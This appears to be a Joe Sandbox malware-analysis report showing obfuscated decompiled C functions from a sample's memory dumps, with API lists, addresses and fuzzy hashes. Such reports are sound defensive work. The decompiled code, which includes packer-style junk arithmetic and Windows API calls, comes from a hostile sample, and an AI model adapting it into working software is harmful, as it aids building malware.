					 *(_t520 - 4) =  *(_t520 + 0x4c);
					 *_t520 =  *(_t520 + 0x50) + 0x16f;
					 *(_t520 + 0x60) = E00F055C0( *((intOrPtr*)(_t520 - 0x18)),  *((intOrPtr*)(_t520 - 0x14)),  *(_t520 - 0x10),  *(_t520 - 0xc),  *((intOrPtr*)(_t520 - 8)),  *(_t520 - 4),  *_t520);
					 *(_t520 + 0x58) =  *(_t520 + 0x58) - 0x2c6;
					_t466 =  *0xf8d69c; // 0x1a0e74
					_t287 =  *0xf8d5ec; // 0xf8d5f0
					_t136 = _t287 + 0x58; // 0xc4ec4ec5
					_t468 =  *0xf8d5ec; // 0xf8d5f0
					 *((intOrPtr*)(_t468 + 0x58)) =  *_t136 - _t466 - 0x1a0ed5;
					 *(_t520 + 0x54) =  *(_t520 + 0x54) ^ 0x000002f4;
					 *(_t520 + 0x60) =  *(_t520 + 0x60) - 0x3b;
					 *(_t520 + 0x50) =  *(_t520 + 0x50) - 0x5f;
					 *((intOrPtr*)(_t520 - 0x34)) =  *(_t520 + 0x58) + 0xf8;
					 *((intOrPtr*)(_t520 - 0x30)) =  *(_t520 + 0x4c) - 0x90;
					 *((intOrPtr*)(_t520 - 0x2c)) =  *(_t520 + 0x5c) - 0xb;
					 *((intOrPtr*)(_t520 - 0x28)) =  *(_t520 + 0x60) + 0x254;
					 *(_t520 - 0x24) =  *(_t520 + 0x58) ^ 0x000003de;
					 *((intOrPtr*)(_t520 - 0x20)) =  *(_t520 + 0x54) - 0x93;
					 *((intOrPtr*)(_t520 - 0x1c)) =  *((intOrPtr*)(_t520 + 0x64));
					 *(_t520 + 0x5c) = E00F07440( *((intOrPtr*)(_t520 - 0x34)),  *((intOrPtr*)(_t520 - 0x30)),  *((intOrPtr*)(_t520 - 0x2c)),  *((intOrPtr*)(_t520 - 0x28)),  *(_t520 - 0x24),  *((intOrPtr*)(_t520 - 0x20)),  *((intOrPtr*)(_t520 - 0x1c)));
					 *(_t520 + 0x4c) =  *(_t520 + 0x4c) + 0xac;
					 *(_t520 + 0x60) =  *(_t520 + 0x60) + 0xbd;
					if( *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x38)) >=  *( *((intOrPtr*)(_t520 + 0x64)) + 0x14)) {
						_t302 =  *0xf8d5ec; // 0xf8d5f0
						_t178 = _t302 + 0xdc; // 0x8
						_t303 =  *0xf8d5ec; // 0xf8d5f0
						_t394 =  *_t178 +  *((intOrPtr*)(_t303 + 0x74)) ^  *0xf8d6d0 ^  *( *((intOrPtr*)(_t520 + 0x64)) + 0xe0);
						__eflags = _t394;
						 *( *((intOrPtr*)(_t520 + 0x64)) + 0xe0) = _t394;
					} else {
						_t487 =  *0xf8d5ec; // 0xf8d5f0
						_t176 = _t487 + 0x94; // 0x1482000
						 *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x64)) =  *_t176;
					}
					_t482 =  *0xf8d5ec; // 0xf8d5f0
					_t187 = _t482 + 0xec; // 0xe608d
					if( *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x9c)) <=  *_t187) {
						_t398 = ( *( *((intOrPtr*)(_t520 + 0x64)) + 0xac) +  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0xbadbdd))) *  *0xf8d67c;
						__eflags = _t398;
						 *0xf8d67c = _t398;
					} else {
						_t486 =  *0xf8d6d8; // 0xf8d5f0
						_t309 = DdeInitializeA(_t486,  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0x90)) +  *0xf8d6e0,  *( *((intOrPtr*)(_t520 + 0x64)) + 0xf8));
						_t402 =  *0xf8d5ec; // 0xf8d5f0
						 *(_t402 + 0xc0) = _t309;
					}
				}
				ExitProcess( *( *((intOrPtr*)(_t520 + 0x64)) + 0xc0));
			}

0x00ef1f81
0x00ef1f85
0x00ef1f8b
0x00ef1f98
0x00ef1f9e
0x00ef1fa5
0x00ef1fac
0x00ef1fb3
0x00ef1fba
0x00ef1fc1
0x00ef1fd4
0x00ef1fe5
0x00ef2134
0x00ef2137
0x00ef2159
0x00ef215f
0x00ef2172
0x00ef2179
0x00ef218b
0x00ef219b
0x00ef21af
0x00ef21bc
0x00ef21bf
0x00ef21c5
0x00ef21dc
0x00ef21dc
0x00ef21e0
0x00ef21f7
0x00ef21fc
0x00ef21ff
0x00ef21ff
0x00ef215f
0x00ef1feb
0x00ef1ff1
0x00ef1ffd
0x00ef2008
0x00ef2014
0x00ef2020
0x00ef202b
0x00ef2034
0x00ef2040
0x00ef204b
0x00ef2051
0x00ef205d
0x00ef2063
0x00ef2067
0x00ef206b
0x00ef206f
0x00ef2073
0x00ef2077
0x00ef2080
0x00ef208b
0x00ef2097
0x00ef20a3
0x00ef20ae
0x00ef20ba
0x00ef20c3
0x00ef20c9
0x00ef20cf
0x00ef20d3
0x00ef20d7
0x00ef20db
0x00ef20df
0x00ef20e3
0x00ef20e4
0x00ef20e9
0x00ef20ec
0x00ef20f8
0x00ef20fb
0x00ef2101
0x00ef2106
0x00ef210c
0x00ef210c
0x00ef1fe5
0x00ef220d
0x00ef242b
0x00ef2437
0x00ef243e
0x00ef2444
0x00ef244a
0x00ef245e
0x00ef2487
0x00ef248a
0x00ef2490
0x00ef2497
0x00ef24ae
0x00ef24c3
0x00ef24c9
0x00ef24cf
0x00ef24d5
0x00ef24e3
0x00ef24fa
0x00ef2515
0x00ef2518
0x00ef2521
0x00ef252e
0x00ef2549
0x00ef2570
0x00ef2570
0x00ef2572
0x00ef2213
0x00ef2219
0x00ef221f
0x00ef2228
0x00ef2234
0x00ef223d
0x00ef2248
0x00ef224e
0x00ef225a
0x00ef2281
0x00ef228d
0x00ef2290
0x00ef229c
0x00ef22a1
0x00ef22a6
0x00ef22ac
0x00ef22b7
0x00ef22c0
0x00ef22c9
0x00ef22d4
0x00ef22e0
0x00ef22e9
0x00ef22f4
0x00ef2300
0x00ef230c
0x00ef2312
0x00ef2339
0x00ef2345
0x00ef2350
0x00ef2368
0x00ef2386
0x00ef238b
0x00ef2391
0x00ef23a3
0x00ef23a3
0x00ef23ac
0x00ef236a
0x00ef236d
0x00ef2373
0x00ef2379
0x00ef2379
0x00ef23b5
0x00ef23c1
0x00ef23c7
0x00ef2416
0x00ef2416
0x00ef241d
0x00ef23c9
0x00ef23e3
0x00ef23ea
0x00ef23f0
0x00ef23f6
0x00ef23f6
0x00ef2423
0x00ef257f

APIs

GetModuleHandleA.KERNEL32(?), ref: 00EF2179
DdeInitializeA.USER32(00F8D5F0,?,?), ref: 00EF23EA
CloseHandle.KERNEL32(?), ref: 00EF243E
GetCurrentProcessId.KERNEL32 ref: 00EF248A
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?), ref: 00EF2549
ExitProcess.KERNEL32 ref: 00EF257F

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: HandleProcess$ByteCharCloseCurrentExitInitializeModuleMultiWide
String ID:
API String ID: 2062908402-0
Opcode ID: 7f8dfb67235c2d17f00d1d964e784fa6753466e83b74c2814704a4da3ab245ad
Instruction ID: ac726aa7ce30ae5c4e54d810ae90b3ac35c27fd43923def44f76f0b66f9e08e1
Opcode Fuzzy Hash: 7f8dfb67235c2d17f00d1d964e784fa6753466e83b74c2814704a4da3ab245ad
Instruction Fuzzy Hash: 6D2295B5A00248DFDB08DF98D994AAD7BB6FF88304F14822AF9199B395D734E841CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00EF3E70 Relevance: 1.8, APIs: 1, Instructions: 284
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EF3E70() {
				intOrPtr _t189;
				intOrPtr _t211;
				signed int _t224;
				intOrPtr _t302;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr _t347;
				intOrPtr* _t348;
				void* _t350;
				void* _t359;

				_t348 = _t350 - 0x60;
				 *(_t348 + 0x50) =  *((intOrPtr*)(_t348 + 0x74)) + 0xef;
				 *(_t348 + 0x4c) =  *(_t348 + 0x68) + 0x33;
				 *(_t348 + 0x54) =  *(_t348 + 0x68) ^ 0x000002dc;
				 *((intOrPtr*)(_t348 + 0x3c)) =  *((intOrPtr*)(_t348 + 0x6c)) + 0x221;
				 *(_t348 + 0x48) =  *(_t348 + 0x70) ^ 0x000026d4;
				 *(_t348 + 0x40) =  *(_t348 + 0x70) ^ 0x000026d4;
				 *(_t348 + 0x58) =  *((intOrPtr*)(_t348 + 0x6c)) - 0x92;
				 *(_t348 + 0x5c) =  *(_t348 + 0x70) - 0x26d4;
				if( *(_t348 + 0x50) <  *(_t348 + 0x5c) + 0x2622) {
					if( *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0xc4)) != ( *(_t348 + 0x54) *  *(_t348 + 0x54) |  *( *((intOrPtr*)(_t348 + 0x7c)) + 0xbadc81))) {
						 *(_t348 + 0x5c) =  *(_t348 + 0x5c) +  *0x00F8D6A8 - 0x26d4;
					}
				} else {
					if( *(_t348 + 0x40) >  *(_t348 + 0x58) + 0x2fb) {
						_t347 =  *0xf8d5ec; // 0xf8d5f0
						_t302 =  *0xf8d5ec; // 0xf8d5f0
						if( *((intOrPtr*)(_t302 + 0xbadc81)) > ( *( *((intOrPtr*)(_t348 + 0x7c)) + 0x78) |  *(_t347 + 0x14)) + 0x2598) {
							_t189 =  *0xf8d5ec; // 0xf8d5f0
							_t120 = _t189 + 0xe4; // 0xc
							 *((intOrPtr*)(_t348 + 0x44)) =  *_t120;
							while( *((intOrPtr*)(_t348 + 0x44)) <=  *(_t348 + 0x5c) *  *(_t348 + 0x5c)) {
								_t303 =  *0xf8d5ec; // 0xf8d5f0
								 *(_t348 - 0x40) = ( *(_t348 + 0x54) &  *(_t303 + 0xbadca9)) *  *(_t348 + 0x58);
								_t304 =  *0xf8d5ec; // 0xf8d5f0
								 *(_t348 - 0x3c) =  *(_t348 + 0x40) -  *((intOrPtr*)(_t304 + 0xbadbed));
								 *(_t348 - 0x38) =  *( *((intOrPtr*)(_t348 + 0x7c)) + 0x3c) ^  *( *((intOrPtr*)(_t348 + 0x7c)) + 0xbadc51);
								 *(_t348 - 0x34) =  *(_t348 + 0x58) &  *( *((intOrPtr*)(_t348 + 0x7c)) + 0x8c);
								 *(_t348 - 0x30) =  *(_t348 + 0x48) *  *(_t348 + 0x48) |  *(_t348 + 0x50);
								 *(_t348 - 0x2c) =  *(_t348 + 0x4c) + 0x2598;
								CreateFileMappingA( *(_t348 - 0x40),  *(_t348 - 0x3c),  *(_t348 - 0x38),  *(_t348 - 0x34),  *(_t348 - 0x30),  *(_t348 - 0x2c));
								 *((intOrPtr*)(_t348 + 0x44)) =  *((intOrPtr*)(_t348 + 0x44)) + 4;
							}
						}
					} else {
						 *((intOrPtr*)(_t348 + 0x20)) =  *(_t348 + 0x5c) + 0x2633;
						 *(_t348 + 0x24) =  *(_t348 + 0x58) ^ 0x000001c1;
						 *(_t348 + 0x28) =  *(_t348 + 0x5c) ^ 0x00002598;
						 *(_t348 + 0x2c) =  *(_t348 + 0x54) ^ 0x0000013e;
						 *((intOrPtr*)(_t348 + 0x30)) =  *(_t348 + 0x5c) + 0x2801;
						 *((intOrPtr*)(_t348 + 0x34)) =  *(_t348 + 0x50) - 0xef;
						 *((intOrPtr*)(_t348 + 0x38)) =  *((intOrPtr*)(_t348 + 0x7c));
						 *(_t348 + 0x5c) = E00EF3450( *((intOrPtr*)(_t348 + 0x20)),  *(_t348 + 0x24),  *(_t348 + 0x28),  *(_t348 + 0x2c),  *((intOrPtr*)(_t348 + 0x30)),  *((intOrPtr*)(_t348 + 0x34)),  *((intOrPtr*)(_t348 + 0x38)));
						_t211 =  *0xf8d5ec; // 0xf8d5f0
						_t44 = _t211 + 0xac; // 0x1a0e74
						_t359 =  *_t44 -  *0xf8d68c; // 0x14b95e
						if(_t359 > 0) {
							 *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x98)) =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x98)) +  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x1c));
						} else {
							 *0xf8d6cc =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0x10)) -  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x7c)) + 0xe4)) ^  *( *((intOrPtr*)(_t348 + 0x7c)) + 0xdc);
						}
						 *((intOrPtr*)(_t348 + 0xc)) =  *(_t348 + 0x4c) + 0x2a2;
						 *((intOrPtr*)(_t348 + 0x10)) =  *(_t348 + 0x50) - 0x54;
						 *((intOrPtr*)(_t348 + 0x14)) =  *((intOrPtr*)(_t348 + 0x3c)) + 0x48;
						 *((intOrPtr*)(_t348 + 0x18)) =  *((intOrPtr*)(_t348 + 0x7c));
						 *(_t348 + 0x1c) =  *(_t348 + 0x5c) ^ 0x00000111;
						 *(_t348 + 0x58) = E00F08570( *((intOrPtr*)(_t348 + 0xc)),  *((intOrPtr*)(_t348 + 0x10)),  *((intOrPtr*)(_t348 + 0x14)),  *((intOrPtr*)(_t348 + 0x18)),  *(_t348 + 0x1c));
						 *(_t348 - 0xc) =  *(_t348 + 0x4c) ^ 0x00000221;
						 *((intOrPtr*)(_t348 - 8)) = 0xf8d5f0;
						 *(_t348 - 4) =  *(_t348 + 0x48) ^ 0x00002565;
						 *_t348 =  *(_t348 + 0x58) - 0xdc;
						 *(_t348 + 4) =  *(_t348 + 0x50) ^ 0x000000b4;
						 *(_t348 + 8) =  *(_t348 + 0x54) ^ 0x00000221;
						_t224 = E00EF47E0( *(_t348 - 0xc),  *((intOrPtr*)(_t348 - 8)),  *(_t348 - 4),  *_t348,  *(_t348 + 4),  *(_t348 + 8)); // executed
						 *(_t348 + 0x54) = _t224;
						 *((intOrPtr*)(_t348 - 0x28)) =  *(_t348 + 0x58) + 0x71;
						 *(_t348 - 0x24) =  *(_t348 + 0x54) ^ 0x00000d9a;
						 *((intOrPtr*)(_t348 - 0x20)) =  *(_t348 + 0x58) - 0x41;
						 *(_t348 - 0x1c) =  *(_t348 + 0x5c);
						 *(_t348 - 0x18) =  *(_t348 + 0x48) ^ 0x0000253b;
						 *(_t348 - 0x14) =  *(_t348 + 0x50) ^ 0x00000240;
						 *((intOrPtr*)(_t348 - 0x10)) =  *((intOrPtr*)(_t348 + 0x7c));
						 *(_t348 + 0x54) = E00EF14C0( *((intOrPtr*)(_t348 - 0x28)),  *(_t348 - 0x24),  *((intOrPtr*)(_t348 - 0x20)),  *(_t348 - 0x1c),  *(_t348 - 0x18),  *(_t348 - 0x14),  *((intOrPtr*)(_t348 - 0x10)));
						 *(_t348 + 0x4c) =  *(_t348 + 0x4c) ^ 0x000003ba;
					}
				}
				return  *((intOrPtr*)(_t348 + 0x3c)) + 0x81;
			}

0x00ef3e71
0x00ef3e84
0x00ef3e8d
0x00ef3e99
0x00ef3ea4
0x00ef3eb0
0x00ef3ebc
0x00ef3ec7
0x00ef3ed3
0x00ef3ee2
0x00ef4216
0x00ef4230
0x00ef4230
0x00ef3ee8
0x00ef3ef3
0x00ef40ff
0x00ef4112
0x00ef411f
0x00ef4125
0x00ef412a
0x00ef4130
0x00ef413e
0x00ef4156
0x00ef416a
0x00ef4174
0x00ef4181
0x00ef419c
0x00ef41ab
0x00ef41b8
0x00ef41c3
0x00ef41de
0x00ef413b
0x00ef413b
0x00ef413e
0x00ef3ef9
0x00ef3f02
0x00ef3f0e
0x00ef3f19
0x00ef3f25
0x00ef3f31
0x00ef3f3c
0x00ef3f42
0x00ef3f69
0x00ef3f6c
0x00ef3f71
0x00ef3f77
0x00ef3f7d
0x00ef3fb9
0x00ef3f7f
0x00ef3fa0
0x00ef3fa0
0x00ef3fc7
0x00ef3fd0
0x00ef3fd9
0x00ef3fdf
0x00ef3feb
0x00ef400a
0x00ef4016
0x00ef4019
0x00ef4029
0x00ef4034
0x00ef4040
0x00ef404c
0x00ef4067
0x00ef406f
0x00ef4078
0x00ef4084
0x00ef408d
0x00ef4093
0x00ef409f
0x00ef40ab
0x00ef40b1
0x00ef40d8
0x00ef40e4
0x00ef40e4
0x00ef41e9
0x00ef4242

APIs

CreateFileMappingA.KERNEL32 ref: 00EF41DE

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: b0a62ecc73509ce9639c24e20c8620e403e4c95baa1676a9b1b3ef8a97eea42e
Instruction ID: 37b969c29803b4aded3b7eaa00dcb381e4538dc2a06d6dfa12c4f0396e466391
Opcode Fuzzy Hash: b0a62ecc73509ce9639c24e20c8620e403e4c95baa1676a9b1b3ef8a97eea42e
Instruction Fuzzy Hash: 0AD1C3B1A00148DFDB18CF98D990AEEB7F5FF88304F54812AFA199B395D634E841CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00EFDEDD Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EFDEDD() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00EFDEE9); // executed
				return _t1;
			}

0x00efdee2
0x00efdee8

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000DEE9,00EFDAE0), ref: 00EFDEE2

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 559dfc2582458f1c8358301008611393cc9d8105468054c4e5117195227aa444
Instruction ID: 44b5dbf1286184cf895e057a9d847ebbd6034b96a735a08f248af040e1bddd01
Opcode Fuzzy Hash: 559dfc2582458f1c8358301008611393cc9d8105468054c4e5117195227aa444
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00EFC889 Relevance: 12.2, APIs: 8, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00EFC889(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0xf8dd74; // 0x3af7f1ec
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E00EFD79E(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E00EFDC5F(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E00EFA61A(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E00EFA9E8(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E00EFA61A(_t101);
									goto L36;
								}
								_t62 = E00EFA9E8(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E00EFA61A(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E00EFBD19(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E00EFE270();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E00EFA9E8(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E00EFBD19(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E00EFE270();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x00efc88e
0x00efc88f
0x00efc890
0x00efc897
0x00efc89b
0x00efc89c
0x00efc8a2
0x00efc8a8
0x00efc8ae
0x00efc8b1
0x00efc8b1
0x00efc8b4
0x00efc8b6
0x00efc8b6
0x00efc8b4
0x00efc8b8
0x00efc8bd
0x00efc8c4
0x00efc8c7
0x00efc8c7
0x00efc8e3
0x00efc8e9
0x00efc8ee
0x00efca81
0x00efca94
0x00efc8f4
0x00efc8f4
0x00efc8f7
0x00efc8fc
0x00efc900
0x00efc954
0x00efc954
0x00efc956
0x00efc958
0x00efca76
0x00efca76
0x00efca78
0x00efca79
0x00000000
0x00efca7f
0x00efc969
0x00efc96f
0x00efc971
0x00000000
0x00000000
0x00efc977
0x00efc989
0x00efc98e
0x00efc992
0x00000000
0x00000000
0x00efc99f
0x00efc9d9
0x00efc9dc
0x00efc9df
0x00efc9e1
0x00efc9e3
0x00efc9e5
0x00efca31
0x00efca31
0x00efca33
0x00efca33
0x00efca35
0x00efca6f
0x00efca70
0x00000000
0x00efca75
0x00efca49
0x00efca4e
0x00efca50
0x00000000
0x00000000
0x00efca54
0x00efca55
0x00efca56
0x00efca59
0x00efca95
0x00efca98
0x00efca5b
0x00efca5b
0x00efca5c
0x00efca5c
0x00efca69
0x00efca6b
0x00efca6d
0x00efca9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00efca6d
0x00efc9e7
0x00efc9ea
0x00efc9ec
0x00efc9ee
0x00efc9f0
0x00efc9f3
0x00efc9f8
0x00efca13
0x00efca15
0x00efca1f
0x00efca21
0x00efca22
0x00efca24
0x00000000
0x00000000
0x00efca26
0x00efca2c
0x00efca2c
0x00000000
0x00efca2c
0x00efc9fa
0x00efc9fc
0x00efca00
0x00efca05
0x00efca07
0x00efca09
0x00000000
0x00000000
0x00efca0b
0x00000000
0x00efca0b
0x00efc9a1
0x00efc9a6
0x00000000
0x00000000
0x00efc9ac
0x00efc9ae
0x00000000
0x00000000
0x00efc9c5
0x00efc9ca
0x00efc9ce
0x00000000
0x00000000
0x00000000
0x00efc9d4
0x00efc907
0x00efc909
0x00efc90b
0x00efc913
0x00efc932
0x00efc934
0x00efc93e
0x00efc940
0x00efc941
0x00efc943
0x00000000
0x00000000
0x00efc949
0x00efc94f
0x00efc94f
0x00000000
0x00efc94f
0x00efc917
0x00efc91b
0x00efc920
0x00efc924
0x00000000
0x00000000
0x00efc92a
0x00000000
0x00efc92a

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,00EFCADA,?,?,00000000), ref: 00EFC8E3
__alloca_probe_16.LIBCMT ref: 00EFC91B
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00EFCADA,?,?,00000000,?,?,?), ref: 00EFC969
__alloca_probe_16.LIBCMT ref: 00EFCA00
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?,?,00EFCADA,?,?,00000000,?), ref: 00EFCA63
__freea.LIBCMT ref: 00EFCA70

Part of subcall function 00EFBD19: RtlAllocateHeap.NTDLL(00000000,?,?,?,00EFA5A1,00000000), ref: 00EFBD4B

__freea.LIBCMT ref: 00EFCA79
__freea.LIBCMT ref: 00EFCA9E

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: 6adfcddc621cca56092d3bed1b2b43d3bab1ea06a5057863316094109e5acdfd
Instruction ID: b453b8f326b310493d87227d0361a3482bafd47515db35230c72d1cd7bae4f1a
Opcode Fuzzy Hash: 6adfcddc621cca56092d3bed1b2b43d3bab1ea06a5057863316094109e5acdfd
Instruction Fuzzy Hash: 0F51F27260061EAFEB258E64CD41FBB7BAAEF40754F355629FE09F6140EB74EC408660

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA9E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNEL32 ref: 00EFAA3B
LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?), ref: 00EFAA59

Strings

LCMapStringEx, xrefs: 00EFA9F9, 00EFAA03

Memory Dump Source

